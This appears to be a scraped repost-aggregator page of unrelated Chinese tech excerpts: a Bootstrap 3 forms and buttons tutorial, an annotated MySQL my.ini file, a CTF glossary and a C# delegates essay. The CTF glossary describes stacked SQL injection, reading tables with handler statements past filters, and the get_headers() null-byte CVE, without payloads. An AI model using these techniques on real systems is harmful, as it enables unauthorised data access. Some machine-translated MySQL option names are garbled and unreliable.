<input>、<textarea> 和 <select> 元素都将被默认设置宽度属性为 width: 100%;。 将 label 元素和前面提到的控件包裹在 .form-group 中可以获得最好的排列。 <form><div class="form-group"><label for="exampleInputEmail1">Email address</label><input type="email" class="form-control" id="exampleInputEmail1" placeholder="Email"></div><div class="form-group"><label for="exampleInputPassword1">Password</label><input type="password" class="form-control" id="exampleInputPassword1" placeholder="Password"></div><div class="form-group"><label for="exampleInputFile">File input</label><input type="file" id="exampleInputFile"><p class="help-block">Example block-level help text here.</p></div><div class="checkbox"><label><input type="checkbox"> Check me out</label></div><button type="submit" class="btn btn-default">Submit</button></form> 6.2 内联表单 为 <form> 元素添加 .form-inline 类可使其内容左对齐并且表现为 inline-block 级别的控件。只适用于视口(viewport)至少在 768px 宽度时(视口宽度再小的话就会使表单折叠) 6.3 水平排列的表单 通过为表单添加 .form-horizontal 类,并联合使用 Bootstrap 预置的栅格类,可以将 label 标签和控件组水平并排布局。这样做将改变 .form-group 的行为,使其表现为栅格系统中的行(row),因此就无需再额外添加 .row 了 <form class="form-horizontal"><div class="form-group"><label for="inputEmail3" class="col-sm-2 control-label">Email</label><div class="col-sm-10"><input type="email" class="form-control" id="inputEmail3" placeholder="Email"></div></div><div class="form-group"><label for="inputPassword3" class="col-sm-2 control-label">Password</label><div class="col-sm-10"><input type="password" class="form-control" id="inputPassword3" placeholder="Password"></div></div><div class="form-group"><div class="col-sm-offset-2 col-sm-10"><div class="checkbox"><label><input type="checkbox"> Remember me</label></div></div></div><div class="form-group"><div class="col-sm-offset-2 col-sm-10"><button type="submit" class="btn btn-default">Sign in</button></div></div></form> 6.4 表单控件 输入框 包括大部分表单控件、文本输入域控件,还支持所有 HTML5 类型的输入控件: text、password、datetime、datetime-local、date、month、time、week、number、email、url、search、tel 和 color。 只有正确设置了 type 属性的输入控件才能被赋予正确的样式。 文本域 支持多行文本的表单控件。可根据需要改变 rows 属性。 多选和单选框 默认样式 <div class="checkbox"><label><input type="checkbox" value="">Option one is this and that—be sure to include why it's great</label></div><div class="checkbox disabled"><label><input type="checkbox" value="" disabled>Option two is disabled</label></div><div class="radio"><label><input type="radio" name="optionsRadios" id="optionsRadios1" value="option1" checked>Option one is this and that—be sure to include why it's great</label></div><div class="radio"><label><input type="radio" name="optionsRadios" id="optionsRadios2" value="option2">Option two can be something else and selecting it will deselect option one</label></div><div class="radio disabled"><label><input type="radio" name="optionsRadios" id="optionsRadios3" value="option3" disabled>Option three is disabled</label></div> 内联单选和多选框 <label class="checkbox-inline"><input type="checkbox" id="inlineCheckbox1" value="option1"> 1</label><label class="checkbox-inline"><input type="checkbox" id="inlineCheckbox2" value="option2"> 2</label><label class="checkbox-inline"><input type="checkbox" id="inlineCheckbox3" value="option3"> 3</label><label class="radio-inline"><input type="radio" name="inlineRadioOptions" id="inlineRadio1" value="option1"> 1</label><label class="radio-inline"><input type="radio" name="inlineRadioOptions" id="inlineRadio2" value="option2"> 2</label><label class="radio-inline"><input type="radio" name="inlineRadioOptions" id="inlineRadio3" value="option3"> 3</label> 不带文本的Checkbox 和 radio <label><input type="checkbox" id="blankCheckbox" value="option1" aria-label="..."></label></div><div class="radio"><label><input type="radio" name="blankRadio" id="blankRadio1" value="option1" aria-label="..."></label></div> 下拉列表 <select class="form-control"><option>1</option><option>2</option><option>3</option><option>4</option><option>5</option></select> 静态内容 如果需要在表单中将一行纯文本和 label 元素放置于同一行,为 <p> 元素添加 .form-control-static 类即可 <form class="form-horizontal"><div class="form-group"><label class="col-sm-2 control-label">Email</label><div class="col-sm-10"><p class="form-control-static">email@example.com</p></div></div><div class="form-group"><label for="inputPassword" class="col-sm-2 control-label">Password</label><div class="col-sm-10"><input type="password" class="form-control" id="inputPassword" placeholder="Password"></div></div></form> 帮助文字 <label class="sr-only" for="inputHelpBlock">Input with help text</label><input type="text" id="inputHelpBlock" class="form-control" aria-describedby="helpBlock">...<span id="helpBlock" class="help-block">A block of help text that breaks onto a new line and may extend beyond one line.</span> 校验状态 Bootstrap 对表单控件的校验状态,如 error、warning 和 success 状态,都定义了样式。使用时,添加 .has-warning、.has-error或 .has-success 类到这些控件的父元素即可。任何包含在此元素之内的 .control-label、.form-control 和 .help-block 元素都将接受这些校验状态的样式。 <div class="form-group has-success"><label class="control-label" for="inputSuccess1">Input with success</label><input type="text" class="form-control" id="inputSuccess1" aria-describedby="helpBlock2"><span id="helpBlock2" class="help-block">A block of help text that breaks onto a new line and may extend beyond one line.</span></div><div class="form-group has-warning"><label class="control-label" for="inputWarning1">Input with warning</label><input type="text" class="form-control" id="inputWarning1"></div><div class="form-group has-error"><label class="control-label" for="inputError1">Input with error</label><input type="text" class="form-control" id="inputError1"></div><div class="has-success"><div class="checkbox"><label><input type="checkbox" id="checkboxSuccess" value="option1">Checkbox with success</label></div></div><div class="has-warning"><div class="checkbox"><label><input type="checkbox" id="checkboxWarning" value="option1">Checkbox with warning</label></div></div><div class="has-error"><div class="checkbox"><label><input type="checkbox" id="checkboxError" value="option1">Checkbox with error</label></div></div> 添加额外的图标 你还可以针对校验状态为输入框添加额外的图标。只需设置相应的 .has-feedback 类并添加正确的图标即可 <div class="form-group has-success has-feedback"><label class="control-label" for="inputSuccess2">Input with success</label><input type="text" class="form-control" id="inputSuccess2" aria-describedby="inputSuccess2Status"><span class="glyphicon glyphicon-ok form-control-feedback" aria-hidden="true"></span><span id="inputSuccess2Status" class="sr-only">(success)</span></div> 控件尺寸 通过 .input-lg 类似的类可以为控件设置高度,通过 .col-lg- 类似的类可以为控件设置宽度。 高度尺寸 创建大一些或小一些的表单控件以匹配按钮尺寸 <input class="form-control input-lg" type="text" placeholder=".input-lg"><input class="form-control" type="text" placeholder="Default input"><input class="form-control input-sm" type="text" placeholder=".input-sm"><select class="form-control input-lg">...</select><select class="form-control">...</select><select class="form-control input-sm">...</select> 水平排列的表单组的尺寸 通过添加 .form-group-lg 或 .form-group-sm 类,为 .form-horizontal 包裹的 label 元素和表单控件快速设置尺寸。 <form class="form-horizontal"><div class="form-group form-group-lg"><label class="col-sm-2 control-label" for="formGroupInputLarge">Large label</label><div class="col-sm-10"><input class="form-control" type="text" id="formGroupInputLarge" placeholder="Large input"></div></div><div class="form-group form-group-sm"><label class="col-sm-2 control-label" for="formGroupInputSmall">Small label</label><div class="col-sm-10"><input class="form-control" type="text" id="formGroupInputSmall" placeholder="Small input"></div></div></form> 7 按钮 7.1 可作为按钮使用的标签或元素 为 <a>、<button> 或 <input> 元素添加按钮类(button class)即可使用 Bootstrap 提供的样式 <a class="btn btn-default" href="" role="button">Link</a><button class="btn btn-default" type="submit">Button</button><input class="btn btn-default" type="button" value="Input"><input class="btn btn-default" type="submit" value="Submit"> 7.2 预定义样式 <!-- Standard button --><button type="button" class="btn btn-default">(默认样式)Default</button><!-- Provides extra visual weight and identifies the primary action in a set of buttons --><button type="button" class="btn btn-primary">(首选项)Primary</button><!-- Indicates a successful or positive action --><button type="button" class="btn btn-success">(成功)Success</button><!-- Contextual button for informational alert messages --><button type="button" class="btn btn-info">(一般信息)Info</button><!-- Indicates caution should be taken with this action --><button type="button" class="btn btn-warning">(警告)Warning</button><!-- Indicates a dangerous or potentially negative action --><button type="button" class="btn btn-danger">(危险)Danger</button><!-- Deemphasize a button by making it look like a link while maintaining button behavior --><button type="button" class="btn btn-link">(链接)Link</button> 7.3 尺寸 需要让按钮具有不同尺寸吗?使用 .btn-lg、.btn-sm 或 .btn-xs 就可以获得不同尺寸的按钮。 通过给按钮添加 .btn-block 类可以将其拉伸至父元素100%的宽度,而且按钮也变为了块级(block)元素。 7.4 激活状态 添加 .active 类 7.5 禁用状态 为 <button> 元素添加 disabled 属性,使其表现出禁用状态。 为基于 <a> 元素创建的按钮添加 .disabled 类。 8 图片 8.1 响应式图片 在 Bootstrap 版本 3 中,通过为图片添加 .img-responsive 类可以让图片支持响应式布局。其实质是为图片设置了 max-width: 100%;、 height: auto; 和 display: block; 属性,从而让图片在其父元素中更好的缩放。 如果需要让使用了 .img-responsive 类的图片水平居中,请使用 .center-block 类,不要用 .text-center <img src="..." class="img-responsive" alt="Responsive image"> 8.2 图片形状 <img src="..." alt="..." class="img-rounded"><img src="..." alt="..." class="img-circle"><img src="..." alt="..." class="img-thumbnail"> 9 辅助类 9.1 文本颜色 <p class="text-muted">...</p><p class="text-primary">...</p><p class="text-success">...</p><p class="text-info">...</p><p class="text-warning">...</p><p class="text-danger">...</p> 9.2 背景色 <p class="bg-primary">...</p><p class="bg-success">...</p><p class="bg-info">...</p><p class="bg-warning">...</p><p class="bg-danger">...</p> 9.3 三角符号 <span class="caret"></span> 9.4 浮动 <div class="pull-left">...</div><div class="pull-right">...</div> 9.5 让内容块居中 <div class="center-block">...</div> 9.6 清除浮动 通过为父元素添加 .clearfix 类可以很容易地清除浮动(float) <!-- Usage as a class --><div class="clearfix">...</div> 9.7 显示或隐藏内容 <div class="show">...</div><div class="hidden">...</div> 9.10 图片替换 使用 .text-hide 类或对应的 mixin 可以用来将元素的文本内容替换为一张背景图。 <h1 class="text-hide">Custom heading</h1> 10 响应式工具 10.1 不同视口下隐藏显示 .visible-xs- .visible-sm- .visible-md- .visible-lg- .hidden-xs .hidden-sm .hidden-md .hidden-lg.visible--block .visible--inline .visible--inline-block 10.2 打印类 .visible-print-block.visible-print-inline.visible-print-inline-block.hidden-print 打印机下隐藏 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_67155975/article/details/123351126。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-18 14:41:25
150
转载
转载文章
...tructions 安装说明 ---------------------------------------------------------------------- On Linux you can copy this file to /etc/my.cnf to set global options, mysql-data-dir/my.cnf to set server-specific options (@localstatedir@ for this installation) or to ~/.my.cnf to set user-specific options. 在Linux上,您可以将该文件复制到/etc/my.cnf来设置全局选项,mysql-data-dir/my.cnf来设置特定于服务器的选项(此安装的@localstatedir@),或者~/.my.cnf来设置特定于用户的选项。 On Windows you should keep this file in the installation directory of your server (e.g. C:\Program Files\MySQL\MySQL Server X.Y). To make sure the server reads the config file use the startup option "--defaults-file". 在Windows上你应该保持这个文件在服务器的安装目录(例如C:\Program Files\MySQL\MySQL服务器X.Y)。要确保服务器读取配置文件,请使用启动选项“——default -file”。 To run the server from the command line, execute this in a command line shell, e.g. mysqld --defaults-file="C:\Program Files\MySQL\MySQL Server X.Y\my.ini" 要从命令行运行服务器,请在命令行shell中执行,例如mysqld——default -file="C:\Program Files\MySQL\MySQL server X.Y\my.ini" To install the server as a Windows service manually, execute this in a command line shell, e.g. mysqld --install MySQLXY --defaults-file="C:\Program Files\MySQL\MySQL Server X.Y\my.ini" 要手动将服务器安装为Windows服务,请在命令行shell中执行此操作,例如mysqld——install MySQLXY——default -file="C:\Program Files\MySQL\MySQL server X.Y\my.ini" And then execute this in a command line shell to start the server, e.g. net start MySQLXY 然后在命令行shell中执行这个命令来启动服务器,例如net start MySQLXY Guidelines for editing this file编辑此文件的指南 ---------------------------------------------------------------------- In this file, you can use all long options that the program supports. If you want to know the options a program supports, start the program with the "--help" option. 在这个文件中,您可以使用程序支持的所有长选项。如果您想知道程序支持的选项,请使用“——help”选项启动程序。 More detailed information about the individual options can also be found in the manual. For advice on how to change settings please see https://dev.mysql.com/doc/refman/8.0/en/server-configuration-defaults.html 有关各个选项的更详细信息也可以在手册中找到。有关如何更改设置的建议,请参见https://dev.mysql.com/doc/refman/8.0/en/server-configuration-defaults.html CLIENT SECTION 客户端部分 ---------------------------------------------------------------------- The following options will be read by MySQL client applications. Note that only client applications shipped by MySQL are guaranteed to read this section. If you want your own MySQL client program to honor these values, you need to specify it as an option during the MySQL client library initialization. MySQL客户机应用程序将读取以下选项。注意,只有MySQL提供的客户端应用程序才能阅读本节。如果您希望自己的MySQL客户机程序遵守这些值,您需要在初始化MySQL客户机库时将其指定为一个选项。 [client] pipe= socket=MYSQL port=3306 [mysql] no-beep default-character-set= SERVER SECTION 服务器部分 ---------------------------------------------------------------------- The following options will be read by the MySQL Server. Make sure that you have installed the server correctly (see above) so it reads this file. MySQL服务器将读取以下选项。确保您已经正确安装了服务器(参见上面),以便它读取这个文件。 server_type=3 [mysqld] The next three options are mutually exclusive to SERVER_PORT below. 下面的三个选项对SERVER_PORT是互斥的。skip-networking enable-named-pipe 共享内存 skip-networking enable-named-pipe shared-memory shared-memory-base-name=MYSQL The Pipe the MySQL Server will use socket=MYSQL The TCP/IP Port the MySQL Server will listen on port=3306 Path to installation directory. All paths are usually resolved relative to this. basedir="C:/Program Files/MySQL/MySQL Server 8.0/" Path to the database root datadir=C:/ProgramData/MySQL/MySQL Server 8.0/Data The default character set that will be used when a new schema or table is created and no character set is defined 创建新模式或表时使用的默认字符集,并且没有定义字符集 character-set-server= The default authentication plugin to be used when connecting to the server 连接到服务器时使用的默认身份验证插件 default_authentication_plugin=caching_sha2_password The default storage engine that will be used when create new tables when 当创建新表时将使用的默认存储引擎 default-storage-engine=INNODB Set the SQL mode to strict 将SQL模式设置为strict sql-mode="STRICT_TRANS_TABLES,NO_ENGINE_SUBSTITUTION" General and Slow logging. 一般和缓慢的日志。 log-output=NONE general-log=0 general_log_file="DESKTOP-NF9QETB.log" slow-query-log=0 slow_query_log_file="DESKTOP-NF9QETB-slow.log" long_query_time=10 Binary Logging. 二进制日志。 log-bin Error Logging. 错误日志记录。 log-error="DESKTOP-NF9QETB.err" Server Id. server-id=1 Indicates how table and database names are stored on disk and used in MySQL. 指示表名和数据库名如何存储在磁盘上并在MySQL中使用。 Value = 0: Table and database names are stored on disk using the lettercase specified in the CREATE TABLE or CREATE DATABASE statement. Name comparisons are case sensitive. You should not set this variable to 0 if you are running MySQL on a system that has case-insensitive file names (such as Windows or macOS). Value = 0:表名和数据库名使用CREATE Table或CREATE database语句中指定的lettercase存储在磁盘上。名称比较区分大小写。如果您在一个具有不区分大小写文件名(如Windows或macOS)的系统上运行MySQL,则不应将该变量设置为0。 Value = 1: Table names are stored in lowercase on disk and name comparisons are not case-sensitive. MySQL converts all table names to lowercase on storage and lookup. This behavior also applies to database names and table aliases. 表名以小写存储在磁盘上,并且名称比较不区分大小写。MySQL在存储和查找时将所有表名转换为小写。此行为也适用于数据库名称和表别名。 Value = 3, Table and database names are stored on disk using the lettercase specified in the CREATE TABLE or CREATE DATABASE statement, but MySQL converts them to lowercase on lookup. Name comparisons are not case sensitive. This works only on file systems that are not case-sensitive! InnoDB table names and view names are stored in lowercase, as for Value = 1.表名和数据库名使用CREATE Table或CREATE database语句中指定的lettercase存储在磁盘上,但是MySQL在查找时将它们转换为小写。名称比较不区分大小写。这只适用于不区分大小写的文件系统!InnoDB表名和视图名以小写存储,Value = 1。 NOTE: lower_case_table_names can only be configured when initializing the server. Changing the lower_case_table_names setting after the server is initialized is prohibited. lower_case_table_names=1 Secure File Priv. 权限安全文件 secure-file-priv="C:/ProgramData/MySQL/MySQL Server 8.0/Uploads" The maximum amount of concurrent sessions the MySQL server will allow. One of these connections will be reserved for a user with SUPER privileges to allow the administrator to login even if the connection limit has been reached. MySQL服务器允许的最大并发会话量。这些连接中的一个将保留给具有超级特权的用户,以便允许管理员登录,即使已经达到连接限制。 max_connections=151 The number of open tables for all threads. Increasing this value increases the number of file descriptors that mysqld requires. Therefore you have to make sure to set the amount of open files allowed to at least 4096 in the variable "open-files-limit" in 为所有线程打开的表的数量。增加这个值会增加mysqld需要的文件描述符的数量。因此,您必须确保在[mysqld_safe]节中的变量“open-files-limit”中将允许打开的文件数量至少设置为4096 section [mysqld_safe] table_open_cache=2000 Maximum size for internal (in-memory) temporary tables. If a table grows larger than this value, it is automatically converted to disk based table This limitation is for a single table. There can be many of them. 内部(内存)临时表的最大大小。如果一个表比这个值大,那么它将自动转换为基于磁盘的表。可以有很多。 tmp_table_size=94M How many threads we should keep in a cache for reuse. When a client disconnects, the client's threads are put in the cache if there aren't more than thread_cache_size threads from before. This greatly reduces the amount of thread creations needed if you have a lot of new connections. (Normally this doesn't give a notable performance improvement if you have a good thread implementation.) 我们应该在缓存中保留多少线程以供重用。当客户机断开连接时,如果之前的线程数不超过thread_cache_size,则将客户机的线程放入缓存。如果您有很多新连接,这将大大减少所需的线程创建量(通常,如果您有一个良好的线程实现,这不会带来显著的性能改进)。 thread_cache_size=10 MyISAM Specific options The maximum size of the temporary file MySQL is allowed to use while recreating the index (during REPAIR, ALTER TABLE or LOAD DATA INFILE. If the file-size would be bigger than this, the index will be created through the key cache (which is slower). MySQL允许在重新创建索引时(在修复、修改表或加载数据时)使用临时文件的最大大小。如果文件大小大于这个值,那么索引将通过键缓存创建(这比较慢)。 myisam_max_sort_file_size=100G If the temporary file used for fast index creation would be bigger than using the key cache by the amount specified here, then prefer the key cache method. This is mainly used to force long character keys in large tables to use the slower key cache method to create the index. myisam_sort_buffer_size=179M Size of the Key Buffer, used to cache index blocks for MyISAM tables. Do not set it larger than 30% of your available memory, as some memory is also required by the OS to cache rows. Even if you're not using MyISAM tables, you should still set it to 8-64M as it will also be used for internal temporary disk tables. 如果用于快速创建索引的临时文件比这里指定的使用键缓存的文件大,则首选键缓存方法。这主要用于强制大型表中的长字符键使用较慢的键缓存方法来创建索引。 key_buffer_size=8M Size of the buffer used for doing full table scans of MyISAM tables. Allocated per thread, if a full scan is needed. 用于对MyISAM表执行全表扫描的缓冲区的大小。如果需要完整的扫描,则为每个线程分配。 read_buffer_size=256K read_rnd_buffer_size=512K INNODB Specific options INNODB特定选项 innodb_data_home_dir= Use this option if you have a MySQL server with InnoDB support enabled but you do not plan to use it. This will save memory and disk space and speed up some things. 如果您启用了一个支持InnoDB的MySQL服务器,但是您不打算使用它,那么可以使用这个选项。这将节省内存和磁盘空间,并加快一些事情。skip-innodb skip-innodb If set to 1, InnoDB will flush (fsync) the transaction logs to the disk at each commit, which offers full ACID behavior. If you are willing to compromise this safety, and you are running small transactions, you may set this to 0 or 2 to reduce disk I/O to the logs. Value 0 means that the log is only written to the log file and the log file flushed to disk approximately once per second. Value 2 means the log is written to the log file at each commit, but the log file is only flushed to disk approximately once per second. 如果设置为1,InnoDB将在每次提交时将事务日志刷新(fsync)到磁盘,这将提供完整的ACID行为。如果您愿意牺牲这种安全性,并且正在运行小型事务,您可以将其设置为0或2,以将磁盘I/O减少到日志。值0表示日志仅写入日志文件,日志文件大约每秒刷新一次磁盘。值2表示日志在每次提交时写入日志文件,但是日志文件大约每秒只刷新一次磁盘。 innodb_flush_log_at_trx_commit=1 The size of the buffer InnoDB uses for buffering log data. As soon as it is full, InnoDB will have to flush it to disk. As it is flushed once per second anyway, it does not make sense to have it very large (even with long transactions).InnoDB用于缓冲日志数据的缓冲区大小。一旦它满了,InnoDB就必须将它刷新到磁盘。由于它无论如何每秒刷新一次,所以将它设置为非常大的值是没有意义的(即使是长事务)。 innodb_log_buffer_size=5M InnoDB, unlike MyISAM, uses a buffer pool to cache both indexes and row data. The bigger you set this the less disk I/O is needed to access data in tables. On a dedicated database server you may set this parameter up to 80% of the machine physical memory size. Do not set it too large, though, because competition of the physical memory may cause paging in the operating system. Note that on 32bit systems you might be limited to 2-3.5G of user level memory per process, so do not set it too high. 与MyISAM不同,InnoDB使用缓冲池来缓存索引和行数据。设置的值越大,访问表中的数据所需的磁盘I/O就越少。在专用数据库服务器上,可以将该参数设置为机器物理内存大小的80%。但是,不要将它设置得太大,因为物理内存的竞争可能会导致操作系统中的分页。注意,在32位系统上,每个进程的用户级内存可能被限制在2-3.5G,所以不要设置得太高。 innodb_buffer_pool_size=20M Size of each log file in a log group. You should set the combined size of log files to about 25%-100% of your buffer pool size to avoid unneeded buffer pool flush activity on log file overwrite. However, note that a larger logfile size will increase the time needed for the recovery process. 日志组中每个日志文件的大小。您应该将日志文件的合并大小设置为缓冲池大小的25%-100%,以避免在覆盖日志文件时出现不必要的缓冲池刷新活动。但是,请注意,较大的日志文件大小将增加恢复过程所需的时间。 innodb_log_file_size=48M Number of threads allowed inside the InnoDB kernel. The optimal value depends highly on the application, hardware as well as the OS scheduler properties. A too high value may lead to thread thrashing. InnoDB内核中允许的线程数。最优值在很大程度上取决于应用程序、硬件以及OS调度程序属性。过高的值可能导致线程抖动。 innodb_thread_concurrency=9 The increment size (in MB) for extending the size of an auto-extend InnoDB system tablespace file when it becomes full. 增量大小(以MB为单位),用于在表空间满时扩展自动扩展的InnoDB系统表空间文件的大小。 innodb_autoextend_increment=128 The number of regions that the InnoDB buffer pool is divided into. For systems with buffer pools in the multi-gigabyte range, dividing the buffer pool into separate instances can improve concurrency, by reducing contention as different threads read and write to cached pages. InnoDB缓冲池划分的区域数。对于具有多gb缓冲池的系统,将缓冲池划分为单独的实例可以提高并发性,因为不同的线程对缓存页面的读写会减少争用。 innodb_buffer_pool_instances=8 Determines the number of threads that can enter InnoDB concurrently. 确定可以同时进入InnoDB的线程数 innodb_concurrency_tickets=5000 Specifies how long in milliseconds (ms) a block inserted into the old sublist must stay there after its first access before it can be moved to the new sublist. 指定插入到旧子列表中的块必须在第一次访问之后停留多长时间(毫秒),然后才能移动到新子列表。 innodb_old_blocks_time=1000 It specifies the maximum number of .ibd files that MySQL can keep open at one time. The minimum value is 10. 它指定MySQL一次可以打开的.ibd文件的最大数量。最小值是10。 innodb_open_files=300 When this variable is enabled, InnoDB updates statistics during metadata statements. 当启用此变量时,InnoDB会在元数据语句期间更新统计信息。 innodb_stats_on_metadata=0 When innodb_file_per_table is enabled (the default in 5.6.6 and higher), InnoDB stores the data and indexes for each newly created table in a separate .ibd file, rather than in the system tablespace. 当启用innodb_file_per_table(5.6.6或更高版本的默认值)时,InnoDB将每个新创建的表的数据和索引存储在单独的.ibd文件中,而不是系统表空间中。 innodb_file_per_table=1 Use the following list of values: 0 for crc32, 1 for strict_crc32, 2 for innodb, 3 for strict_innodb, 4 for none, 5 for strict_none. 使用以下值列表:0表示crc32, 1表示strict_crc32, 2表示innodb, 3表示strict_innodb, 4表示none, 5表示strict_none。 innodb_checksum_algorithm=0 The number of outstanding connection requests MySQL can have. This option is useful when the main MySQL thread gets many connection requests in a very short time. It then takes some time (although very little) for the main thread to check the connection and start a new thread. The back_log value indicates how many requests can be stacked during this short time before MySQL momentarily stops answering new requests. You need to increase this only if you expect a large number of connections in a short period of time. MySQL可以有多少未完成连接请求。当MySQL主线程在很短的时间内收到许多连接请求时,这个选项非常有用。然后,主线程需要一些时间(尽管很少)来检查连接并启动一个新线程。back_log值表示在MySQL暂时停止响应新请求之前的短时间内可以堆多少个请求。只有当您预期在短时间内会有大量连接时,才需要增加这个值。 back_log=80 If this is set to a nonzero value, all tables are closed every flush_time seconds to free up resources and synchronize unflushed data to disk. This option is best used only on systems with minimal resources. 如果将该值设置为非零值,则每隔flush_time秒关闭所有表,以释放资源并将未刷新的数据同步到磁盘。这个选项最好只在资源最少的系统上使用。 flush_time=0 The minimum size of the buffer that is used for plain index scans, range index scans, and joins that do not use 用于普通索引扫描、范围索引扫描和不使用索引执行全表扫描的连接的缓冲区的最小大小。 indexes and thus perform full table scans. join_buffer_size=200M The maximum size of one packet or any generated or intermediate string, or any parameter sent by the mysql_stmt_send_long_data() C API function. 由mysql_stmt_send_long_data() C API函数发送的一个包或任何生成的或中间字符串或任何参数的最大大小 max_allowed_packet=500M If more than this many successive connection requests from a host are interrupted without a successful connection, the server blocks that host from performing further connections. 如果在没有成功连接的情况下中断了来自主机的多个连续连接请求,则服务器将阻止主机执行进一步的连接。 max_connect_errors=100 Changes the number of file descriptors available to mysqld. You should try increasing the value of this option if mysqld gives you the error "Too many open files". 更改mysqld可用的文件描述符的数量。如果mysqld给您的错误是“打开的文件太多”,您应该尝试增加这个选项的值。 open_files_limit=4161 If you see many sort_merge_passes per second in SHOW GLOBAL STATUS output, you can consider increasing the sort_buffer_size value to speed up ORDER BY or GROUP BY operations that cannot be improved with query optimization or improved indexing. 如果在SHOW GLOBAL STATUS输出中每秒看到许多sort_merge_passes,可以考虑增加sort_buffer_size值,以加快ORDER BY或GROUP BY操作的速度,这些操作无法通过查询优化或改进索引来改进。 sort_buffer_size=1M The number of table definitions (from .frm files) that can be stored in the definition cache. If you use a large number of tables, you can create a large table definition cache to speed up opening of tables. The table definition cache takes less space and does not use file descriptors, unlike the normal table cache. The minimum and default values are both 400. 可以存储在定义缓存中的表定义的数量(来自.frm文件)。如果使用大量表,可以创建一个大型表定义缓存来加速表的打开。与普通的表缓存不同,表定义缓存占用更少的空间,并且不使用文件描述符。最小值和默认值都是400。 table_definition_cache=1400 Specify the maximum size of a row-based binary log event, in bytes. Rows are grouped into events smaller than this size if possible. The value should be a multiple of 256. 指定基于行的二进制日志事件的最大大小,单位为字节。如果可能,将行分组为小于此大小的事件。这个值应该是256的倍数。 binlog_row_event_max_size=8K If the value of this variable is greater than 0, a replication slave synchronizes its master.info file to disk. (using fdatasync()) after every sync_master_info events. 如果该变量的值大于0,则复制奴隶将其主.info文件同步到磁盘。(在每个sync_master_info事件之后使用fdatasync())。 sync_master_info=10000 If the value of this variable is greater than 0, the MySQL server synchronizes its relay log to disk. (using fdatasync()) after every sync_relay_log writes to the relay log. 如果这个变量的值大于0,MySQL服务器将其中继日志同步到磁盘。(在每个sync_relay_log写入到中继日志之后使用fdatasync())。 sync_relay_log=10000 If the value of this variable is greater than 0, a replication slave synchronizes its relay-log.info file to disk. (using fdatasync()) after every sync_relay_log_info transactions. 如果该变量的值大于0,则复制奴隶将其中继日志.info文件同步到磁盘。(在每个sync_relay_log_info事务之后使用fdatasync())。 sync_relay_log_info=10000 Load mysql plugins at start."plugin_x ; plugin_y". 开始时加载mysql插件。“plugin_x;plugin_y” plugin_load The TCP/IP Port the MySQL Server X Protocol will listen on. MySQL服务器X协议将监听TCP/IP端口。 loose_mysqlx_port=33060 本篇文章为转载内容。原文链接:https://blog.csdn.net/mywpython/article/details/89499852。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-08 09:56:02
129
转载
转载文章
...在文章中,参赛者通过识别和利用SQL注入点,绕过过滤机制并执行自定义的SQL命令来达到解题目的。 堆叠注入 , 堆叠注入(Stacked Injection)是SQL注入的一种高级技巧,它利用分号(;)作为SQL语句结束符的特点,在一个请求中连续执行多条SQL语句。在文章提及的CTF题目中,由于单个请求不能直接进行联合查询,参赛者便采用堆叠注入的方式依次执行不同SQL语句以逐步获取数据库结构和数据。 预处理语句 (MySQL Prepare Statement) , 预处理语句是MySQL提供的一种预防SQL注入的安全编程方法。在实际应用中,SQL语句分为两部分。 handler语句 (MySQL) , handler语句是MySQL中用于处理存储引擎内部记录的一种特殊语法。通过handler语句,可以在程序中实现逐行读取、更新或删除表中的数据,而无需使用常规的SELECT、UPDATE或DELETE等SQL语句。在该文描述的GYCTF2020比赛中,由于存在严格的过滤规则,参赛者无法直接用常规SQL查询获取数据,因此他们借助handler语句逐行读取表内容,成功破解了题目并得到了flag。 PHP函数CVE-2020-7066 , 这是一个公开的安全漏洞编号,对应PHP 7.2.x、7.3.x以及7.4.x版本中的get_headers()函数存在的安全问题。在特定条件下,当get_headers()函数处理包含零字节(\\0)的URL时,URL会被错误地截断,可能导致信息泄露。在GKCTF2020比赛的签到题目中,选手需要根据这个CVE提示,研究如何构造特定URL,并利用get_headers()函数的这一漏洞,实现信息泄露,进而完成签到或获取flag的操作。
2023-11-13 21:30:33
303
转载
转载文章
...服务架构时,通过事件驱动的方式进行组件间通信已成为一种最佳实践。 在实际应用中,.NET Core 3.0引入了源生成器(Source Generators),这一特性使得开发者能够更高效地处理事件和委托,进一步提升代码质量和可维护性。通过自定义源生成器,可以动态创建委托实例并自动绑定相关事件,从而减少手动编写重复代码的工作量。 此外,委托还在并发和多线程编程场景下发挥关键作用,如Task类和async/await关键字背后就依赖于委托来实现异步方法的调用和状态管理。微软在.NET生态系统中提倡采用异步编程模型,利用C的事件和委托机制,能够简化异步操作的处理流程,提高程序性能和响应速度。 对于设计模式层面的理解,委托与观察者模式(Observer Pattern)紧密相连,它允许对象之间的一对多依赖关系,当一个对象的状态发生改变时,所有依赖于它的对象都会得到通知并自动更新。结合最新的.NET技术趋势,诸如Reactive Extensions (Rx.NET)等库更是将这种模式发扬光大,借助LINQ风格的查询操作符和事件流处理,让委托在实时数据流处理领域展现出了强大的功能。 总之,深入掌握C中的委托和事件不仅有助于日常开发工作的效率提升,更能紧跟现代软件工程的发展潮流,充分利用最新的技术和框架优势,构建出高性能、高可维护性的应用程序。而不断跟进官方文档、社区讨论和技术博客,则是深化此类主题理解和实践运用的有效途径。
2023-10-05 16:02:19
80
转载
转载文章
